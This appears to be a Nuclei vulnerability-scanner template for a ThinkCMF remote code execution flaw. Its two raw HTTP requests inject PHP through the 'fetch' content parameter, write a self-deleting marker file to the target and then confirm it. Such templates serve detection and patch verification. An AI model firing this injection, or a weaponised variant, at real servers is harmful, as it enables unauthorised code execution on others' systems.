thinkcmf-rce: ThinkCMF - Remote Code Execution

id: thinkcmf-rce

info:
  name: ThinkCMF - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: ThinkCMF  is susceptible to a remote code execution vulnerability.
  reference:
    - https://www.freebuf.com/vuls/217586.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: thinkcmf,rce,intrusive,vuln

variables:
  string: "thinkcmf-rce"

http:
  - raw:
      - |
        GET /index.php?a=fetch&content={{url_encode('<?php file_put_contents(\"{{randstr}}.php\",\"<?php echo md5(\"{{string}}\");unlink(__FILE__);\");')}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'
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